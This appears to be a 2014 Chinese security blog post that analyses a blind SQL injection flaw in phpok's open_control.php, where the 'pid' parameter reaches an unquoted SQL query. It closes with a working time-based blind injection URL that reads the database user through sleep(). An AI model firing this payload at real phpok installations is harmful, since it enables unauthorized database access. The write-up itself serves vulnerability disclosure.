phpok最新版sql注入(盲注)

时间:2014-12-15    作者:admin    分类: 技术交流


在framework/www/open_control.php中:

//网址列表,这里读的是项目的网址列表

    function url_f()

    {

        $id = $this->get("id");

        if(!$id) $id = "content";

        $this->assign("id",$id);

        $pid = $this->get("pid");

        if($pid)

        {

            $p_rs = $this->model('project')->get_one($pid);

            $type = $this->get("type");

            if(!$p_rs)

            {

                error_open("项目不存在");

            }

            if($type == "cate" && $p_rs["cate"])

            {

                $catelist = $this->model("cate")->get_all($p_rs['site_id'],$p_rs['cate']);

                $this->assign("rslist",$catelist);

                $this->assign("p_rs",$p_rs);

                $this->view("open_url_cate");

            }

            else

            {

                $pageid = $this->get($this->config["pageid"],"int");

                $psize = $this->config["psize"];

                if(!$psize) $psize = 20;

                if(!$pageid) $pageid = 1;

                $offset = ($pageid - 1) * $psize;

                $pageurl = $this->url("open","url","pid=".$pid."&type=list&id=".$id);

                $condition = "l.site_id='".$p_rs["site_id"]."' AND l.project_id='".$pid."' AND l.parent_id='0' ";

                $keywords = $this->get("keywords");

                if($keywords)

                {

                    $condition .= " AND l.title LIKE '%".$keywords."%' ";

                    $pageurl .= "&keywords=".rawurlencode($keywords);

                    $this->assign("keywords",$keywords);

                }

                $rslist = $this->model('list')->get_list($p_rs["module"],$condition,$offset,$psize,$p_rs["orderby"]);

                if($rslist)

                {

                    $sub_idlist = array_keys($rslist);

                    $sub_idstring = implode(",",$sub_idlist);

                    $con_sub = "l.site_id='".$p_rs["site_id"]."' AND l.project_id='".$pid."' AND l.parent_id IN(".$sub_idstring.") ";

                    $sublist = $this->model('list')->get_list($p_rs["module"],$con_sub,0,0,$p_rs["orderby"]);

                    if($sublist)

                    {

                        foreach($sublist AS $key=>$value)

                        {

                            $rslist[$value["parent_id"]]["sonlist"][$value["id"]] = $value;

                        }

                    }

                }

                //读子主题

                $total = $this->model('list')->get_total($p_rs["module"],$condition);

                $pagelist = phpok_page($pageurl,$total,$pageid,$psize,"home=首页&prev=上一页&next=下一页&last=尾页&half=5&opt=第(num)页&add=(total)/(psize)&always=1");

                $this->assign("pagelist",$pagelist);

                $this->assign("p_rs",$p_rs);

                $this->assign("rslist",$rslist);

                $this->view("open_url_list");                

            }

        }

        else

        {

            $condition = " p.status='1' ";

            $rslist = $this->model('project')->get_all_project($_SESSION["admin_site_id"],$condition);

            $this->assign("rslist",$rslist);

        }

        $this->assign("id",$id);

        $this->view("open_url");

    }





$pid = $this->get("pid"); 获取参数pid的值,然后调用下面的方法

$p_rs = $this->model('project')->get_one($pid);

//取得项目信息

    function get_one($id,$ext=true)

    {

        if(!$id) return false;

        $sql = "SELECT * FROM ".$this->db->prefix."project WHERE id=".$id;

        $rs = $this->db->get_one($sql);

        if(!$rs) return false;

        if($ext)

        {

            $ext_rs = $GLOBALS['app']->model("ext")->get_all("project-".$id);

            if($ext_rs) $rs = array_merge($ext_rs,$rs);

        }

        return $rs;

    }




这里发现$id 虽然做了全局的过滤,但是sql语句中并没有两侧加上引号,这样过滤就没啥意义了,直接可以sql整形注入。



PS: 这里还有一个奇怪的问题,访问页面后发现一只提示模板不存在,后来发现在tpl文件夹下根本就不存在这个open_control.php中所需要的模板。导致sql注入无法回显。不知道是否是开发者忘记了还是这个模块已经取消了。



poc:

/index.php?c=open&f=url&pid=0%20or%20if%28ord%28substr%28user%28%29%2C1%2C1%29%29%3D1%2Csleep%28%200.5%29%2C1%29%3D0

标签: 注入 phpok